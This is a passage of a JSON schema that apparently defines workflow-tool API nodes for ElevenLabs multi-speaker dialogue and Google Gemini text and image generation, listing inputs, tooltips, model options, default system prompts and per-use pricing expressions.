"default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "4", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "5", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "6", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "7", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "8", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "9", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}], "text9": ["STRING", {"tooltip": "Text content for dialogue entry 9.", "default": "", "multiline": true}], "voice9": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 9. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "10", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}], "text9": ["STRING", {"tooltip": "Text content for dialogue entry 9.", "default": "", "multiline": true}], "voice9": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 9. Connect from Voice Selector or Instant Voice Clone."}], "text10": ["STRING", {"tooltip": "Text content for dialogue entry 10.", "default": "", "multiline": true}], "voice10": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 10. Connect from Voice Selector or Instant Voice Clone."}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "seed": ["INT", {"tooltip": "Seed for reproducibility.", "default": 1, "min": 0, "max": 4294967295}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["stability", "apply_text_normalization", "model", "inputs", "language_code", "seed", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToDialogue", "display_name": "ElevenLabs Text to Dialogue", "description": "Generate multi-speaker dialogue from text. Each dialogue entry has its own text and voice.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/1K chars\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text inputs to the model, used to generate a response. You can include detailed instructions, questions, or context for the model.", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "The Gemini model to use for generating responses.", "default": "gemini-3-1-pro", "multiselect": false, "options": ["gemini-2.5-pro", "gemini-2.5-flash", "gemini-3-pro-preview", "gemini-3-1-pro", "gemini-3-1-flash-lite"]}], "seed": ["INT", {"tooltip": "When seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "audio": ["AUDIO", {"tooltip": "Optional audio to use as context for the model."}], "video": ["VIDEO", {"tooltip": "Optional video to use as context for the model."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["images", "audio", "video", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiNode", "display_name": "Google Gemini", "description": "Generate text responses with Google's Gemini AI model. You can provide multiple types of inputs (text, images, audio, video) as context for generating more relevant and meaningful responses.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"gemini-2.5-flash\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0003, 0.0025],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\"}\n }\n : $contains($m, \"gemini-2.5-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00125, 0.01],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : ($contains($m, \"gemini-3-pro-preview\") or $contains($m, \"gemini-3-1-pro\")) ? {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.012],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gemini-3-1-flash-lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model. Include detailed instructions, questions, or context.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Gemini model used to generate the response.", "options": [{"key": "Gemini 3.1 Pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}], "audio": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional audio clip to use as context for the model.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "names": ["audio_1"], "min": 0}}], "video": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video clip to use as context for the model.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1"], "min": 0}}], "thinking_level": ["COMBO", {"tooltip": "How hard the model reasons internally before answering. HIGH improves quality on difficult tasks but costs more (thinking) tokens and is slower.", "default": "HIGH", "multiselect": false, "options": ["LOW", "HIGH"]}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. Lower is more focused/deterministic, higher is more creative.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling: sample from the smallest token set whose cumulative probability reaches top_p.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "max_output_tokens": ["INT", {"tooltip": "Maximum tokens to generate, including the model's internal thinking. With thinking_level HIGH, a low value can leave no room for the answer; raise this if responses come back empty or truncated. The model stops early when finished, so a higher cap costs nothing extra for short replies.", "advanced": true, "default": 32768, "min": 16, "max": 65536}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Input Files node."}]}}}, {"key": "Gemini 3.1 Flash-Lite", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}], "audio": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional audio clip to use as context for the model.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "names": ["audio_1"], "min": 0}}], "video": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video clip to use as context for the model.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1"], "min": 0}}], "thinking_level": ["COMBO", {"tooltip": "How hard the model reasons internally before answering. HIGH improves quality on difficult tasks but costs more (thinking) tokens and is slower.", "default": "LOW", "multiselect": false, "options": ["LOW", "HIGH"]}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. Lower is more focused/deterministic, higher is more creative.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling: sample from the smallest token set whose cumulative probability reaches top_p.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "max_output_tokens": ["INT", {"tooltip": "Maximum tokens to generate, including the model's internal thinking. With thinking_level HIGH, a low value can leave no room for the answer; raise this if responses come back empty or truncated. The model stops early when finished, so a higher cap costs nothing extra for short replies.", "advanced": true, "default": 32768, "min": 16, "max": 65536}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Input Files node."}]}}}]}], "seed": ["INT", {"tooltip": "Seed for sampling. Set to 0 for a random seed. Deterministic output isn't guaranteed.", "default": 42, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiNodeV2", "display_name": "Google Gemini", "description": "Generate text responses with Google's Gemini models. Provide a text prompt and, optionally, one or more images, audio clips, videos, or files as multimodal context.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n } : {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.012],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "GeminiImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "The Gemini model to use for generating responses.", "multiselect": false, "options": ["gemini-2.5-flash-image"]}], "seed": ["INT", {"tooltip": "When seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "aspect_ratio": ["COMBO", {"tooltip": "Defaults to matching the output image size to that of your input image, or otherwise generates 1:1 squares.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "response_modalities": ["COMBO", {"tooltip": "Choose 'IMAGE' for image-only output, or 'IMAGE+TEXT' to return both the generated image and a text response.", "advanced": true, "multiselect": false, "options": ["IMAGE+TEXT", "IMAGE"]}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["images", "files", "aspect_ratio", "response_modalities", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "STRING"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GeminiImageNode", "display_name": "Nano Banana (Google Gemini Image)", "description": "Edit images synchronously via Google API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.039,\"format\":{\"suffix\":\"/Image (1K)\",\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiImage2Node": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["gemini-3-pro-image-preview", "Nano Banana 2 (Gemini 3.1 Flash Image)"]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "response_modalities": ["COMBO", {"tooltip": "Choose 'IMAGE' for image-only output, or 'IMAGE+TEXT' to return both the generated image and a text response.", "advanced": true, "multiselect": false, "options": ["IMAGE+TEXT", "IMAGE"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional reference image(s). To include multiple images, use the Batch Images node (up to 14)."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "aspect_ratio", "resolution", "response_modalities"], "optional": ["images", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "STRING"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GeminiImage2Node", "display_name": "Nano Banana Pro (Google Gemini Image)", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $isFlash := $contains($m, \"nano banana 2\");\n $flashPrices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n $proPrices := {\"1k\": 0.134, \"2k\": 0.134, \"4k\": 0.24};\n $prices := $isFlash ? $flashPrices : $proPrices;\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNanoBanana2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["Nano Banana 2 (Gemini 3.1 Flash Image)"]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "response_modalities": ["COMBO", {"advanced": true, "multiselect": false, "options": ["IMAGE", "IMAGE+TEXT"]}], "thinking_level": ["COMBO", {"multiselect": false, "options": ["MINIMAL", "HIGH"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional reference image(s). To include multiple images, use the Batch Images node (up to 14)."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you 